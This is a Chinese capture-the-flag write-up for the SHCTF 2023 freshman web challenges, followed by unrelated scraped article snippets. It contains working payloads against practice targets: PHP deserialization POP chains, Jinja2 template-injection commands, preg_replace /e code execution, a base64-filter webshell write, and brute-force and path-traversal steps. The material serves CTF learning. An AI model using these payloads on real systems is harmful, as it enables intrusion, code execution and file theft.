SHCTF 2023 新生赛 Web 题解
Web
[WEEK1]babyRCE
源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag



[WEEK1]飞机大战
源码js发现unicode编码
\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a
解码获得flag

[WEEK1]登录就给flag
这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

[WEEK1]生成你的邀请函吧~
使用POST json请求来生成你的邀请函
直接用脚本就行了
import requestsfrom PIL import Imageimport iourl = "http://112.6.51.212:30908/generate_invitation"data = {"name": "C_yi","imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"}response = requests.post(url, json=data, verify=False)# 获取返回的图片内容image_content = response.content# 创建一个PIL的Image对象image = Image.open(io.BytesIO(image_content))# 保存图片image.save("avatar.jpg")
然后搜索avatar.jpg

得到flag
[WEEK1]ez_serialize
<?phphighlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}}class B{public $q;public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }}}class C{public $var;public $z;public function __toString(){return $this->z->var;}}class D{public $p;public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['payload'])){unserialize($_GET['payload']);}?>
代码审计
我们反推把 首先看输出点为include()函数

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发
所以构造最终的代码
<?phpclass A{public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';}class B{public $q;}class C{public $var;public $z;}class D{public $p;}$b = new B();$c = new C();$b->q = $c;$d = new D();$c->z = $d;$d->p = new A();var_dump(serialize($b))?>
Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
然后base64解码就得到falg了

[WEEK1]1zzphp
这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了


所以也没啥难的 按照下面这个自己调试就饿可以了

我的是
import requestsurl="http://112.6.51.212:32191/?num[]=1"data={'c[ode':'very'*250000+'2023SHCTF'}r=requests.post(url,data=data)print(r.text)
[WEEK1]ezphp
这道题的考点就是研究preg_replace \e模式下的代码执行
可以看这篇文章
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
因为这道题的phpinfo()和大括号没被过滤
![]()
所以可以利用
题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行
那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern code传入
原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);
变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

所以得到flag了
[WEEK2]no_wake_up
又是一道简单的反序列化题

Exp:
<?phpclass flag{public $username = "admin";public $code = "php://filter/read=convert.base64-encode/resource=flag.php";}$a = new flag();echo serialize($a);
Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}
解码获得flag

[WEEK2]EasyCMS
考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取
需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

[WEEK2]ez_ssti
有点像ctfshow 里面的web361
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
发现flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
[WEEK2]serialize
这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久
js代码:
var arr = ["o123:", "c456:", "d789:"];arr = arr.filter(function(element) {return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素});console.log(arr); // 输出: ["d789:"]
Pop链比较简单:wakeup()->get()->totring()
构造代码
<?phpclass misca{public $gao;public $fei;public $a;}class musca{public $ding;public $dong;}class milaoshu{public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取}$m = new musca();$m->ding = new misca(); //这个就是触发get魔术方法$m->ding->gao = &$m->ding->a; //把gao赋值给a$m->ding->fei = new milaoshu(); //触发tostring魔术方法echo serialize(array($m)); //利用数组进行绕过正则匹配
Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
解码获得flag

[week3]快问快答
这种短时间内回答的题一看就是要脚本

根据源码写paylaod就行
import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求answer1 = {'answer': answer}response=requests.Session()response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的return responsedef parse_question(response):#用于计算答案html = response.textanswer=0pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息match = pattern.search(html)if match:question = match.group(1)numbers = re.findall(r"\d+", question)operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符op=operation[0]if len(numbers) == 2:a = int(numbers[0])b = int(numbers[1])if op == "异或":answer = a ^ bif op == "与":answer = a & bif op == "-":answer = a - bif op == "+":answer = a + bif op == "x":answer = a * bif op == "÷":answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误#print(question)#print(answer)else:print("找不到题目")return answerurl = "http://112.6.51.212:32776/" # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间response = post_answer(url, headers, answer, cookie)print(response.text)#打印表单answer = parse_question(response)cookie = response.cookies
得到flag

[WEEK3]sseerriiaalliizzee
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
no way, fuck off
出口函数 file_put_contents,很简单的pop链 Start:__tostring()->CTF:dosomething()
考点就是无非是file_put_contents()

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功
那这里的考点就是file_put_contents利用技巧

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)
我们直接构造paylaod:
<?php eval('system("ls /");'); ?> 然后base64编码(?前面不加空格 就会编码变成+号)
PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==
然后
构造脚本
<?php
class Start{public $barking;
}class CTF{public $part1;public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flagecho serialize($start);
?>

同理换成 cat /flag
Paylaod:
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

相关文章:
SHCTF 2023 新生赛 Web 题解
Web [WEEK1]babyRCE 源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag [WEEK1]飞机大战 源码js发现unicode编码 \u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045…...
二叉树题目合集(C++)
二叉树题目合集 1.二叉树创建字符串(简单)2.二叉树的分层遍历(中等)3.二叉树的最近公共祖先(中等)4.二叉树搜索树转换成排序双向链表(中等)5.根据树的前序遍历与中序遍历构造二叉树&…...
dbeaver配置es连接org.elasticsearch.xpack.sql.jdbc.EsDriver
查看目标es服务版本,下载对应驱动...
有监督学习线性回归
1、目标分析(回归问题还是分类问题?) 2、获取、处理数据 3、创建线性回归模型 4、训练模型 5、模型测试 x_data [[6000, 58], [9000, 77], [11000, 89], [15000, 54]] # 样本特征数据 y_data [30000, 55010, 73542, 63201] # 样本目标数…...
如何在vscode中添加less插件
Less (Leaner Style Sheets 的缩写) 是一门向后兼容的 CSS 扩展语言。它对CSS 语言增加了少许方便的扩展,通过less可以编写更少的代码实现更强大的样式。但less不是css,浏览器不能直接识别,即浏览器无法执行less代码&a…...
mediapipe 训练自有图像数据分类
参考: https://developers.google.com/mediapipe/solutions/customization/image_classifier https://colab.research.google.com/github/googlesamples/mediapipe/blob/main/examples/customization/image_classifier.ipynb#scrollToplvO-YmcQn5g 安装:…...
【pytorch】torch.gather()函数
dim0时 index[ [x1,x2,x2],[y1,y2,y2],[z1,z2,z3] ]如果dim0 填入方式为: index[ [(x1,0),(x2,1),(x3,2)][(y1,0),(y2,1),(y3,2)][(z1,0),(z2,1),(z3,2)] ]input [[1, 2, 3, 4],[5, 6, 7, 8],[9, 10, 11, 12] ] # shape(3,4) input torch.…...
Mac 安装psycopg2,报错Error: pg_config executable not found.
在mac 上安装psycopg2的方法:执行:pip3 install psycopg2-binary。 如果执行pip3 install psycopg2,无法安装psycopg2 报错信息如下: Collecting psycopg2Using cached psycopg2-2.9.9.tar.gz (384 kB)Preparing metadata (set…...
域名系统 DNS
DNS 概述 域名系统 DNS(Domain Name System)是因特网使用的命名系统,用来把便于人们使用的机器名字转换成为 IP 地址。域名系统其实就是名字系统。为什么不叫“名字”而叫“域名”呢?这是因为在这种因特网的命名系统中使用了许多的“域(domain)”&#x…...
Vue $nextTick 模板解析后在执行的函数
this.$nextTick(()>{ 模板解析后在执行的函数 })...
VBA技术资料MF76:将自定义颜色添加到调色板
我给VBA的定义:VBA是个人小型自动化处理的有效工具。利用好了,可以大大提高自己的工作效率,而且可以提高数据的准确度。我的教程一共九套,分为初级、中级、高级三大部分。是对VBA的系统讲解,从简单的入门,到…...
zilong-20231030
1)k个反转 2)n!转12进制 求末尾多少0 一共有几位 (考虑了溢出问题) 3)大量数据获取前10个 4)reemap地城结构 5)红黑树规则特性 6)热更 7)压测 8)业务 跨服实现 9)有哪些线程以及怎么分配...
目标检测算法发展史
前言 比起图像识别,现在图片生成技术要更加具有吸引力,但是要步入AIGC技术领域,首先不推荐一上来就接触那些已经成熟闭源的包装好了再提供给你的接口网站,会使用别人的模型生成一些图片就能叫自己会AIGC了吗?那样真正…...
React 生成传递给无障碍属性的唯一 ID
useId() 在组件的顶层调用 useId 生成唯一 ID: import { useId } from react; function PasswordField() { const passwordHintId useId(); // ...参数 useId 不带任何参数。 返回值 useId 返回一个唯一的字符串 ID,与此特定组件中的 useI…...
十种排序算法(1) - 准备测试函数和工具
1.准备工作 我们先写一堆工具,后续要用,不然这些写在代码里可读性巨差 #pragma once #include<stdio.h>//为C语言定义bool类型 typedef int bool; #define false 0 #define true 1//用于交互a和b inline void swap(int* a, int* b) {/*int c *a…...
IRF联动 BFD-MAD
文章目录 IRF堆叠一、主设备配置二、备设备配置三、验证 MAD检测一、MAD检测二、MAD验证 本实验以2台设备进行堆叠示例,按照配置顺序,先配置主设备,再配置备设备。在IRF配置前暂时先不接堆叠线,按步骤提示接线。 IRF堆叠 一、主设…...
双向链表的初步练习
𝙉𝙞𝙘𝙚!!👏🏻‧✧̣̥̇‧✦👏🏻‧✧̣̥̇‧✦ 👏🏻‧✧̣̥̇: Solitary-walk ⸝⋆ ━━━┓ - 个性标签 - :来于“云”的“羽球人”…...
IDE的组成
集成开发环境(IDE,Integrated Development Environment )是用于提供程序开发环境的应用程序,一般包括代码编辑器、编译器、调试器和图形用户界面等工具。集成了代码编写功能、分析功能、编译功能、调试功能等一体化的开发软件服务…...
项目解读_v2
1. 项目介绍 如果使用task2-1作为示例时, 运行process.py的过程中需要确认 process调用的是函数 preprocess_ast_wav2vec(wav, fr) 1.1 任务简介 首个开源的儿科呼吸音数据集, 通过邀请11位医师标注; 数字听诊器的采样频率和量化分辨率分…...
杀毒软件哪个好,杀毒软件有哪些
安全杀毒软件是一种专门用于检测、防止和清除计算机病毒、恶意软件和其他安全威胁的软件。这类软件通常具备以下功能: 1. 实时监测:通过实时监测计算机系统,能够发现并防止病毒、恶意软件等安全威胁的入侵。 2. 扫描和清除:可以…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
Caliper 负载(Workload)详细解析
Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...
DBLP数据库是什么?
DBLP(Digital Bibliography & Library Project)Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高,数据库文献更新速度很快,很好地反映了国际计算机科学学术研…...
深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向
在人工智能技术呈指数级发展的当下,大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性,吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型,成为释放其巨大潜力的关键所在&…...
【笔记】AI Agent 项目 SUNA 部署 之 Docker 构建记录
#工作记录 构建过程记录 Microsoft Windows [Version 10.0.27871.1000] (c) Microsoft Corporation. All rights reserved.(suna-py3.12) F:\PythonProjects\suna>python setup.py --admin███████╗██╗ ██╗███╗ ██╗ █████╗ ██╔════╝…...
